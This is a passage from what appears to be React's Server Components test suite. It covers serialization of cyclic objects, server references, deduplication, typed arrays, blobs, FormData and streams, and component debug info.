stream1 = ReactServerDOMServer.renderToReadableStream(\n      <React.Fragment key=\"this-key-is-important-to-repro-a-prior-cycle-serialization-bug\">\n        <ClientComponent data={cyclic} />\n      </React.Fragment>,\n      webpackMap,\n    );\n\n    const promise = ReactServerDOMClient.createFromReadableStream(stream1, {\n      serverConsumerManifest: {\n        moduleMap: {\n          [clientModuleMetadata.id]: {\n            '*': {\n              id: consumerModuleId,\n              chunks: [],\n              name: '*',\n            },\n          },\n        },\n        moduleLoading: webpackModuleLoading,\n        serverModuleMap: null,\n      },\n    });\n\n    const errors = [];\n    const stream2 = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(promise, webpackMap, {\n        onError(error) {\n          errors.push(error);\n        },\n      }),\n    );\n\n    expect(errors).toEqual([]);\n\n    const element = await serverAct(() =>\n      ReactServerDOMClient.createFromReadableStream(stream2, {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      }),\n    );\n\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(element),\n    );\n    const result = await readResult(ssrStream);\n\n    expect(result).toBe('<div>Cycle resolved</div>');\n  });\n\n  it('should be able to load a server reference on a consuming server if a mapping exists', async () => {\n    function greet(name) {\n      return 'hi, ' + name;\n    }\n    const ServerModule = serverExports({\n      greet,\n    });\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        {\n          method: ServerModule.greet,\n          boundMethod: ServerModule.greet.bind(null, 'there'),\n        },\n        webpackMap,\n      ),\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(stream, {\n      serverConsumerManifest: {\n        moduleMap: webpackMap,\n        serverModuleMap: webpackServerMap,\n        moduleLoading: webpackModuleLoading,\n      },\n    });\n\n    const result = await response;\n\n    expect(result.method).toBe(greet);\n    expect(result.boundMethod()).toBe('hi, there');\n  });\n\n  it('should be able to load a server reference on a consuming server if a mapping exists (async)', async () => {\n    let resolve;\n    const chunkPromise = new Promise(r => (resolve = r));\n\n    function greet(name) {\n      return 'hi, ' + name;\n    }\n    const ServerModule = serverExports(\n      {\n        greet,\n      },\n      chunkPromise,\n    );\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        {\n          method: ServerModule.greet,\n          boundMethod: ServerModule.greet.bind(null, 'there'),\n        },\n        webpackMap,\n      ),\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(stream, {\n      serverConsumerManifest: {\n        moduleMap: webpackMap,\n        serverModuleMap: webpackServerMap,\n        moduleLoading: webpackModuleLoading,\n      },\n    });\n\n    await resolve();\n\n    const result = await response;\n\n    expect(result.method).toBe(greet);\n    expect(result.boundMethod()).toBe('hi, there');\n  });\n\n  it('should load a server reference on a consuming server and pass it back', async () => {\n    function greet(name) {\n      return 'hi, ' + name;\n    }\n    const ServerModule = serverExports({\n      greet,\n    });\n\n    // Registering the server reference also with the client must not break\n    // subsequent `.bind` calls.\n    ReactServerDOMClient.registerServerReference(\n      ServerModule.greet,\n      ServerModule.greet.$$id,\n    );\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        {\n          method: ServerModule.greet,\n          boundMethod: ServerModule.greet.bind(null, 'there'),\n        },\n        webpackMap,\n      ),\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(stream, {\n      serverConsumerManifest: {\n        moduleMap: webpackMap,\n        serverModuleMap: webpackServerMap,\n        moduleLoading: webpackModuleLoading,\n      },\n    });\n\n    const result = await response;\n\n    expect(result.method).toBe(greet);\n    expect(result.boundMethod()).toBe('hi, there');\n\n    const body = await ReactServerDOMClient.encodeReply({\n      method: result.method,\n      boundMethod: result.boundMethod,\n    });\n    const replyResult = await ReactServerDOMServer.decodeReply(\n      body,\n      webpackServerMap,\n    );\n    expect(replyResult.method).toBe(greet);\n    expect(replyResult.boundMethod()).toBe('hi, there');\n  });\n\n  it('should encode long string in a compact format', async () => {\n    const testString = '\"\\n\\t'.repeat(500) + '🙃';\n    const testString2 = 'hello'.repeat(400);\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream({\n        text: testString,\n        text2: testString2,\n      }),\n    );\n    const [stream1, stream2] = passThrough(stream).tee();\n\n    const serializedContent = await readResult(stream1);\n    // The content should be compact an unescaped\n    expect(serializedContent.length).toBeLessThan(4000);\n    expect(serializedContent).not.toContain('\\\\n');\n    expect(serializedContent).not.toContain('\\\\t');\n    expect(serializedContent).not.toContain('\\\\\"');\n    expect(serializedContent).toContain('\\t');\n\n    const result = await ReactServerDOMClient.createFromReadableStream(\n      stream2,\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n    // Should still match the result when parsed\n    expect(result.text).toBe(testString);\n    expect(result.text2).toBe(testString2);\n  });\n\n  it('should encode repeated objects in a compact format by deduping', async () => {\n    const obj = {\n      this: {is: 'a large objected'},\n      with: {many: 'properties in it'},\n    };\n    const props = {root: <div>{new Array(30).fill(obj)}</div>};\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(props),\n    );\n    const [stream1, stream2] = passThrough(stream).tee();\n\n    const serializedContent = normalizeSerializedContent(\n      await readResult(stream1),\n    );\n    expect(serializedContent.length).toBeLessThan(1075);\n\n    const result = await ReactServerDOMClient.createFromReadableStream(\n      stream2,\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n    // TODO: Cyclic references currently cause a Lazy wrapper which is not ideal.\n    const resultElement = result.root._init(result.root._payload);\n    // Should still match the result when parsed\n    expect(resultElement).toEqual(props.root);\n    expect(resultElement.props.children[5]).toBe(\n      resultElement.props.children[10],\n    ); // two random items are the same instance\n  });\n\n  it('should execute repeated server components only once', async () => {\n    const str = 'this is a long return value';\n    let timesRendered = 0;\n    function ServerComponent() {\n      timesRendered++;\n      return str;\n    }\n    const element = <ServerComponent />;\n    // Hardcoded list to avoid the key warning\n    const children = (\n      <>\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n      </>\n    );\n    const resolvedChildren = new Array(30).fill(str);\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(children),\n    );\n    const [stream1, stream2] = passThrough(stream).tee();\n\n    const serializedContent = normalizeSerializedContent(\n      await readResult(stream1),\n    );\n\n    expect(serializedContent.length).toBeLessThan(465);\n    expect(timesRendered).toBeLessThan(5);\n\n    const model = await ReactServerDOMClient.createFromReadableStream(stream2, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n\n    // Use the SSR render to resolve any lazy elements\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(model),\n    );\n    // Should still match the result when parsed\n    const result = await readResult(ssrStream);\n    expect(result).toEqual(resolvedChildren.join('<!-- -->'));\n  });\n\n  it('should execute repeated host components only once', async () => {\n    const div = <div>this is a long return value</div>;\n    let timesRendered = 0;\n    function ServerComponent() {\n      timesRendered++;\n      return div;\n    }\n    const element = <ServerComponent />;\n    // Hardcoded list to avoid the key warning\n    const children = (\n      <>\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n        {element}\n      </>\n    );\n    const resolvedChildren = new Array(30).fill(\n      '<div>this is a long return value</div>',\n    );\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(children),\n    );\n    const [stream1, stream2] = passThrough(stream).tee();\n\n    const serializedContent = normalizeSerializedContent(\n      await readResult(stream1),\n    );\n    expect(serializedContent.length).toBeLessThan(__DEV__ ? 630 : 400);\n    expect(timesRendered).toBeLessThan(5);\n\n    const model = await serverAct(() =>\n      ReactServerDOMClient.createFromReadableStream(stream2, {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      }),\n    );\n\n    // Use the SSR render to resolve any lazy elements\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(model),\n    );\n    // Should still match the result when parsed\n    const result = await readResult(ssrStream);\n    expect(result).toEqual(resolvedChildren.join(''));\n  });\n\n  it('should execute repeated server components in a compact form', async () => {\n    async function ServerComponent({recurse}) {\n      if (recurse > 0) {\n        return <ServerComponent recurse={recurse - 1} />;\n      }\n      return <div>Fin</div>;\n    }\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        <ServerComponent recurse={20} />,\n      ),\n    );\n    const serializedContent = normalizeSerializedContent(\n      await readResult(stream),\n    );\n    const expectedDebugInfoSize = __DEV__ ? 295 * 20 : 0;\n    expect(serializedContent.length).toBeLessThan(150 + expectedDebugInfoSize);\n  });\n\n  it('should break up large sync components by outlining into streamable elements', async () => {\n    const paragraphs = [];\n    for (let i = 0; i < 20; i++) {\n      const text =\n        'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Mauris' +\n        'porttitor tortor ac lectus faucibus, eget eleifend elit hendrerit.' +\n        'Integer porttitor nisi in leo congue rutrum. Morbi sed ante posuere,' +\n        'aliquam lorem ac, imperdiet orci. Duis malesuada gravida pharetra. Cras' +\n        'facilisis arcu diam, id dictum lorem imperdiet a. Suspendisse aliquet' +\n        'tempus tortor et ultricies. Aliquam libero velit, posuere tempus ante' +\n        'sed, pellentesque tincidunt lorem. Nullam iaculis, eros a varius' +\n        'aliquet, tortor felis tempor metus, nec cursus felis eros aliquam nulla.' +\n        'Vivamus ut orci sed mauris congue lacinia. Cras eget blandit neque.' +\n        'Pellentesque a massa in turpis ullamcorper volutpat vel at massa. Sed' +\n        'ante est, auctor non diam non, vulputate ultrices metus. Maecenas dictum' +\n        'fermentum quam id aliquam. Donec porta risus vitae pretium posuere.' +\n        'Fusce facilisis eros in lacus tincidunt congue.' +\n        i; /* trick dedupe */\n      paragraphs.push(<p key={i}>{text}</p>);\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(paragraphs),\n    );\n\n    const [stream2, drip] = dripStream(stream);\n\n    // Allow some of the content through.\n    drip(__DEV__ ? 7500 : 5000);\n\n    const result = await ReactServerDOMClient.createFromReadableStream(\n      stream2,\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n\n    // We should have resolved enough to be able to get the array even though some\n    // of the items inside are still lazy.\n    expect(result.length).toBe(20);\n\n    // Unblock the rest\n    drip(Infinity);\n\n    // Use the SSR render to resolve any lazy elements\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(result),\n    );\n    const html = await readResult(ssrStream);\n\n    const ssrStream2 = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(paragraphs),\n    );\n    const html2 = await readResult(ssrStream2);\n\n    expect(html).toBe(html2);\n  });\n\n  it('regression: should not leak serialized size', async () => {\n    const MAX_ROW_SIZE = 3200;\n    // This test case is a bit convoluted and may no longer trigger the original bug.\n    // Originally, the size of `promisedText` was not cleaned up so the sync portion\n    // ended up being deferred immediately when we called `renderToReadableStream` again\n    // i.e. `result2.syncText` became a Lazy element on the second request.\n    const longText = 'd'.repeat(MAX_ROW_SIZE);\n    const promisedText = Promise.resolve(longText);\n    const model = {syncText: <p>{longText}</p>, promisedText};\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(model),\n    );\n\n    const result = await ReactServerDOMClient.createFromReadableStream(stream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n\n    const stream2 = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(model),\n    );\n\n    const result2 = await ReactServerDOMClient.createFromReadableStream(\n      stream2,\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n\n    expect(result2.syncText).toEqual(result.syncText);\n  });\n\n  it('should be able to serialize any kind of typed array', async () => {\n    const buffer = new Uint8Array([\n      123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,\n    ]).buffer;\n    const buffers = [\n      buffer,\n      new Int8Array(buffer, 1),\n      new Uint8Array(buffer, 2),\n      new Uint8ClampedArray(buffer, 2),\n      new Int16Array(buffer, 2),\n      new Uint16Array(buffer, 2),\n      new Int32Array(buffer, 4),\n      new Uint32Array(buffer, 4),\n      new Float32Array(buffer, 4),\n      new Float64Array(buffer, 0),\n      new BigInt64Array(buffer, 0),\n      new BigUint64Array(buffer, 0),\n      new DataView(buffer, 3),\n    ];\n    const stream = await serverAct(() =>\n      passThrough(ReactServerDOMServer.renderToReadableStream(buffers)),\n    );\n    const result = await ReactServerDOMClient.createFromReadableStream(stream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    expect(result).toEqual(buffers);\n  });\n\n  it('should be able to serialize a blob', async () => {\n    const bytes = new Uint8Array([\n      123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,\n    ]);\n    const blob = new Blob([bytes, bytes], {\n      type: 'application/x-test',\n    });\n    const stream = await serverAct(() =>\n      passThrough(ReactServerDOMServer.renderToReadableStream(blob)),\n    );\n    const result = await ReactServerDOMClient.createFromReadableStream(stream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    expect(result instanceof Blob).toBe(true);\n    expect(result.size).toBe(bytes.length * 2);\n    expect(await result.arrayBuffer()).toEqual(await blob.arrayBuffer());\n  });\n\n  it('can transport FormData (blobs)', async () => {\n    const bytes = new Uint8Array([\n      123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,\n    ]);\n    const blob = new Blob([bytes, bytes], {\n      type: 'application/x-test',\n    });\n\n    const formData = new FormData();\n    formData.append('hi', 'world');\n    formData.append('file', blob, 'filename.test');\n\n    expect(formData.get('file') instanceof File).toBe(true);\n    expect(formData.get('file').name).toBe('filename.test');\n\n    const stream = await serverAct(() =>\n      passThrough(ReactServerDOMServer.renderToReadableStream(formData)),\n    );\n    const result = await ReactServerDOMClient.createFromReadableStream(stream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n\n    expect(result instanceof FormData).toBe(true);\n    expect(result.get('hi')).toBe('world');\n    const resultBlob = result.get('file');\n    expect(resultBlob instanceof Blob).toBe(true);\n    expect(resultBlob.name).toBe('blob'); // We should not pass through the file name for security.\n    expect(resultBlob.size).toBe(bytes.length * 2);\n    expect(await resultBlob.arrayBuffer()).toEqual(await blob.arrayBuffer());\n  });\n\n  it('can pass an async import that resolves later to an outline object like a Map', async () => {\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n\n    const asyncClient = clientExports(promise);\n\n    // We await the value on the servers so it's an async value that the client should wait for\n    const awaitedValue = await asyncClient;\n\n    const map = new Map();\n    map.set('value', awaitedValue);\n\n    const stream = await serverAct(() =>\n      passThrough(ReactServerDOMServer.renderToReadableStream(map, webpackMap)),\n    );\n\n    // Parsing the root blocks because the module hasn't loaded yet\n    const resultPromise = ReactServerDOMClient.createFromReadableStream(\n      stream,\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n\n    // Afterwards we finally resolve the module value so it's available on the client\n    resolve('hello');\n\n    const result = await resultPromise;\n    expect(result instanceof Map).toBe(true);\n    expect(result.get('value')).toBe('hello');\n  });\n\n  it('can pass an async import to a ReadableStream while enqueuing in order', async () => {\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n\n    const asyncClient = clientExports(promise);\n\n    // We await the value on the servers so it's an async value that the client should wait for\n    const awaitedValue = await asyncClient;\n\n    const s = new ReadableStream({\n      start(c) {\n        c.enqueue('hello');\n        c.enqueue(awaitedValue);\n        c.enqueue('!');\n        c.close();\n      },\n    });\n\n    const stream = await serverAct(() =>\n      passThrough(ReactServerDOMServer.renderToReadableStream(s, webpackMap)),\n    );\n\n    const result = await serverAct(() =>\n      ReactServerDOMClient.createFromReadableStream(stream, {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      }),\n    );\n\n    const reader = result.getReader();\n\n    expect(await reader.read()).toEqual({value: 'hello', done: false});\n\n    const readPromise = reader.read();\n    // We resolve this after we've already received the '!' row.\n    await resolve('world');\n\n    expect(await readPromise).toEqual({value: 'world', done: false});\n    expect(await reader.read()).toEqual({value: '!', done: false});\n    expect(await reader.read()).toEqual({value: undefined, done: true});\n  });\n\n  it('can pass an async import a AsyncIterable while allowing peaking at future values', async () => {\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n\n    const asyncClient = clientExports(promise);\n\n    const multiShotIterable = {\n      async *[Symbol.asyncIterator]() {\n        yield 'hello';\n        // We await the value on the servers so it's an async value that the client should wait for\n        yield await asyncClient;\n        yield '!';\n      },\n    };\n\n    const stream = await serverAct(() =>\n      passThrough(\n        ReactServerDOMServer.renderToReadableStream(\n          multiShotIterable,\n          webpackMap,\n        ),\n      ),\n    );\n\n    // Parsing the root blocks because the module hasn't loaded yet\n    const result = await serverAct(() =>\n      ReactServerDOMClient.createFromReadableStream(stream, {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      }),\n    );\n\n    const iterator = result[Symbol.asyncIterator]();\n\n    expect(await iterator.next()).toEqual({value: 'hello', done: false});\n\n    const readPromise = iterator.next();\n\n    // While the previous promise didn't resolve yet, we should be able to peak at the next value\n    // by iterating past it.\n    expect(await iterator.next()).toEqual({value: '!', done: false});\n\n    // We resolve the previous row after we've already received the '!' row.\n    await resolve('world');\n    expect(await readPromise).toEqual({value: 'world', done: false});\n\n    expect(await iterator.next()).toEqual({value: undefined, done: true});\n  });\n\n  it('should ideally dedupe objects inside async iterables but does not yet', async () => {\n    const obj = {\n      this: {is: 'a large objected'},\n      with: {many: 'properties in it'},\n    };\n    const iterable = {\n      async *[Symbol.asyncIterator]() {\n        for (let i = 0; i < 30; i++) {\n          yield obj;\n        }\n      },\n    };\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream({\n        iterable,\n      }),\n    );\n    const [stream1, stream2] = passThrough(stream).tee();\n\n    const serializedContent = await readResult(stream1);\n    // TODO: Ideally streams should dedupe objects but because we never outline the objects\n    // they end up not having a row to reference them nor any of its nested objects.\n    // expect(serializedContent.length).toBeLessThan(400);\n    expect(serializedContent.length).toBeGreaterThan(400);\n\n    const result = await ReactServerDOMClient.createFromReadableStream(\n      stream2,\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n\n    const items = [];\n    const iterator = result.iterable[Symbol.asyncIterator]();\n    let entry;\n    while (!(entry = await iterator.next()).done) {\n      items.push(entry.value);\n    }\n\n    // Should still match the result when parsed\n    expect(items.length).toBe(30);\n    // TODO: These should be the same\n    // expect(items[5]).toBe(items[10]); // two random items are the same instance\n    expect(items[5]).toEqual(items[10]);\n  });\n\n  it('warns if passing a this argument to bind() of a server reference', async () => {\n    const ServerModule = serverExports({\n      greet: function () {},\n    });\n\n    const ServerModuleImportedOnClient = {\n      greet: ReactServerDOMClient.createServerReference(\n        ServerModule.greet.$$id,\n        async function (ref, args) {},\n      ),\n    };\n\n    ServerModule.greet.bind({}, 'hi');\n    assertConsoleErrorDev([\n      'Cannot bind \"this\" of a Server Action. Pass null or undefined as the first argument to .bind().',\n    ]);\n\n    ServerModuleImportedOnClient.greet.bind({}, 'hi');\n    assertConsoleErrorDev([\n      'Cannot bind \"this\" of a Server Action. Pass null or undefined as the first argument to .bind().',\n    ]);\n  });\n\n  it('should supports ReadableStreams with typed arrays', async () => {\n    const buffer = new Uint8Array([\n      123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,\n    ]).buffer;\n    const buffers = [\n      buffer,\n      new Int8Array(buffer, 1),\n      new Uint8Array(buffer, 2),\n      new Uint8ClampedArray(buffer, 2),\n      new Int16Array(buffer, 2),\n      new Uint16Array(buffer, 2),\n      new Int32Array(buffer, 4),\n      new Uint32Array(buffer, 4),\n      new Float32Array(buffer, 4),\n      new Float64Array(buffer, 0),\n      new BigInt64Array(buffer, 0),\n      new BigUint64Array(buffer, 0),\n      new DataView(buffer, 3),\n    ];\n\n    // This is not a binary stream, it's a stream that contain binary chunks.\n    const s = new ReadableStream({\n      start(c) {\n        for (let i = 0; i < buffers.length; i++) {\n          c.enqueue(buffers[i]);\n        }\n        c.close();\n      },\n    });\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(s, {}),\n    );\n\n    const [stream1, stream2] = passThrough(stream).tee();\n\n    const result = await ReactServerDOMClient.createFromReadableStream(\n      stream1,\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n\n    expect(await readByteLength(stream2)).toBeLessThan(300);\n\n    const streamedBuffers = [];\n    const reader = result.getReader();\n    let entry;\n    while (!(entry = await reader.read()).done) {\n      streamedBuffers.push(entry.value);\n    }\n\n    expect(streamedBuffers).toEqual(buffers);\n  });\n\n  it('should support binary ReadableStreams', async () => {\n    const encoder = new TextEncoder();\n    const words = ['Hello', 'streaming', 'world'];\n\n    const stream = new ReadableStream({\n      type: 'bytes',\n      async start(controller) {\n        for (let i = 0; i < words.length; i++) {\n          const chunk = encoder.encode(words[i] + ' ');\n          controller.enqueue(chunk);\n        }\n        controller.close();\n      },\n    });\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(stream, {}),\n    );\n\n    const result = await ReactServerDOMClient.createFromReadableStream(\n      rscStream,\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n\n    const reader = result.getReader();\n    const decoder = new TextDecoder();\n\n    let text = '';\n    let entry;\n    while (!(entry = await reader.read()).done) {\n      text += decoder.decode(entry.value);\n    }\n\n    expect(text).toBe('Hello streaming world ');\n  });\n\n  it('should support large binary ReadableStreams', async () => {\n    const chunkCount = 100;\n    const chunkSize = 1024;\n    const expectedBytes = [];\n\n    const stream = new ReadableStream({\n      type: 'bytes',\n      start(controller) {\n        for (let i = 0; i < chunkCount; i++) {\n          const chunk = new Uint8Array(chunkSize);\n          for (let j = 0; j < chunkSize; j++) {\n            chunk[j] = (i + j) % 256;\n          }\n          expectedBytes.push(...Array.from(chunk));\n          controller.enqueue(chunk);\n        }\n        controller.close();\n      },\n    });\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(stream, {}),\n    );\n\n    const result = await ReactServerDOMClient.createFromReadableStream(\n      // Use passThrough to split and rejoin chunks at arbitrary boundaries.\n      passThrough(rscStream),\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n\n    const reader = result.getReader();\n    const receivedBytes = [];\n    let entry;\n    while (!(entry = await reader.read()).done) {\n      expect(entry.value instanceof Uint8Array).toBe(true);\n      receivedBytes.push(...Array.from(entry.value));\n    }\n\n    expect(receivedBytes).toEqual(expectedBytes);\n  });\n\n  it('should support BYOB binary ReadableStreams', async () => {\n    const sourceBytes = [\n      123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,\n    ];\n\n    // Create separate buffers for each typed array to avoid ArrayBuffer\n    // transfer issues. Each view needs its own buffer because enqueue()\n    // transfers ownership.\n    const buffers = [\n      new Int8Array(sourceBytes.slice(1)),\n      new Uint8Array(sourceBytes.slice(2)),\n      new Uint8ClampedArray(sourceBytes.slice(2)),\n      new Int16Array(new Uint8Array(sourceBytes.slice(2)).buffer),\n      new Uint16Array(new Uint8Array(sourceBytes.slice(2)).buffer),\n      new Int32Array(new Uint8Array(sourceBytes.slice(4)).buffer),\n      new Uint32Array(new Uint8Array(sourceBytes.slice(4)).buffer),\n      new Float32Array(new Uint8Array(sourceBytes.slice(4)).buffer),\n      new Float64Array(new Uint8Array(sourceBytes.slice(0)).buffer),\n      new BigInt64Array(new Uint8Array(sourceBytes.slice(0)).buffer),\n      new BigUint64Array(new Uint8Array(sourceBytes.slice(0)).buffer),\n      new DataView(new Uint8Array(sourceBytes.slice(3)).buffer),\n    ];\n\n    // Save expected bytes before enqueueing (which will detach the buffers).\n    const expectedBytes = buffers.flatMap(c =>\n      Array.from(new Uint8Array(c.buffer, c.byteOffset, c.byteLength)),\n    );\n\n    // This a binary stream where each chunk ends up as Uint8Array.\n    const s = new ReadableStream({\n      type: 'bytes',\n      start(c) {\n        for (let i = 0; i < buffers.length; i++) {\n          c.enqueue(buffers[i]);\n        }\n        c.close();\n      },\n    });\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(s, {}),\n    );\n\n    const [stream1, stream2] = passThrough(stream).tee();\n\n    const result = await ReactServerDOMClient.createFromReadableStream(\n      stream1,\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n\n    expect(await readByteLength(stream2)).toBeLessThan(300);\n\n    const streamedBuffers = [];\n    const reader = result.getReader({mode: 'byob'});\n    let entry;\n    while (!(entry = await reader.read(new Uint8Array(10))).done) {\n      expect(entry.value instanceof Uint8Array).toBe(true);\n      streamedBuffers.push(entry.value);\n    }\n\n    // The streamed buffers might be in different chunks and in Uint8Array form but\n    // the concatenated bytes should be the same.\n    expect(streamedBuffers.flatMap(t => Array.from(t))).toEqual(expectedBytes);\n  });\n\n  // @gate !__DEV__ || enableComponentPerformanceTrack\n  it('supports async server component debug info as the element owner in DEV', async () => {\n    function Container({children}) {\n      return children;\n    }\n\n    const promise = Promise.resolve(true);\n    async function Greeting({firstName}) {\n      // We can't use JSX here because it'll use the Client React.\n      const child = ReactServer.createElement(\n        'span',\n        null,\n        'Hello, ' + firstName,\n      );\n      // Yield the synchronous pass\n      await promise;\n      // We should still be able to track owner using AsyncLocalStorage.\n      return ReactServer.createElement(Container, null, child);\n    }\n\n    const model = {\n      greeting: ReactServer.createElement(Greeting, {firstName: 'Seb'}),\n    };\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(model, webpackMap),\n    );\n\n    const rootModel = await serverAct(() =>\n      ReactServerDOMClient.createFromReadableStream(stream, {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      }),\n    );\n\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(rootModel.greeting),\n    );\n    const result = await readResult(ssrStream);\n    expect(result).toEqual('<span>Hello, Seb</span>');\n\n    // Resolve the React Lazy wrapper which must have resolved by now.\n    const lazyWrapper = rootModel.greeting;\n    const greeting = lazyWrapper._init(lazyWrapper._payload);\n\n    // We've rendered down to the span.\n    expect(greeting.type).toBe('span');\n    if (__DEV__) {\n      const greetInfo = expect.objectContaining({\n        name: 'Greeting',\n        env: 'Server',\n      });\n      if (gate(flags => flags.enableAsyncDebugInfo)) {\n        expect(greeting._debugInfo).toEqual([\n          {time: 12},\n          greetInfo,\n          {time: 13},\n          expect.objectContaining({\n            name: 'Container',\n            env: 'Server',\n            owner: greetInfo,\n          }),\n          {time: 14},\n        ]);\n      }\n      // The owner that created the span was the outer server component.\n      // We expect the debug info to be referentially equal to the owner.\n      expect(greeting._owner).toBe(greeting._debugInfo[1]);\n    } else {\n      expect(lazyWrapper._debugInfo).toBe(undefined);\n      expect(greeting._owner).toBe(undefined);\n    }\n  });\n\n  // @gate __DEV__\n  it('can get the component owner stacks asynchronously', async () => {\n    let stack;\n\n    function Foo() {\n      return ReactServer.createElement(Bar, null);\n    }\n    function Bar() {\n      return ReactServer.createElement(\n        'div',\n        null,\n        ReactServer.createElement(Baz, null),\n      );\n    }\n\n    const promise = Promise.resolve(0);\n\n    async function Baz() {\n      await promise;\n      stack = ReactServer.captureOwnerStack();\n      return ReactServer.createElement('span', null, 'hi');\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        ReactServer.createElement(\n          'div',\n          null,\n          ReactServer.createElement(Foo, null),\n        ),\n        webpackMap,\n      ),\n    );\n    await readResult(stream);\n\n    expect(normalizeCodeLocInfo(stack)).toBe(\n      '\\n    in Bar (at **)' + '\\n    in Foo (at **)',\n    );\n  });\n\n  it('supports server components in ssr component stacks', async () => {\n    let reject;\n    const promise = new Promise((_, r) => (reject = r));\n    async function Erroring() {\n      await promise;\n      return 'should not render';\n    }\n\n    const model = {\n      root: ReactServer.createElement(Erroring),\n    };\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(model, webpackMap, {\n        onError() {},\n      }),\n    );\n\n    const rootModel = await serverAct(() =>\n      ReactServerDOMClient.createFromReadableStream(stream, {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      }),\n    );\n\n    const errors = [];\n    const result = serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<div>{rootModel.root}</div>, {\n        onError(error, {componentStack}) {\n          errors.push({\n            error,\n            componentStack: normalizeCodeLocInfo(componentStack),\n          });\n        },\n      }),\n    );\n\n    const theError = new Error('my error');\n    reject(theError);\n\n    const expectedMessage = __DEV__\n      ? 'my error'\n      : 'An error occurred in the 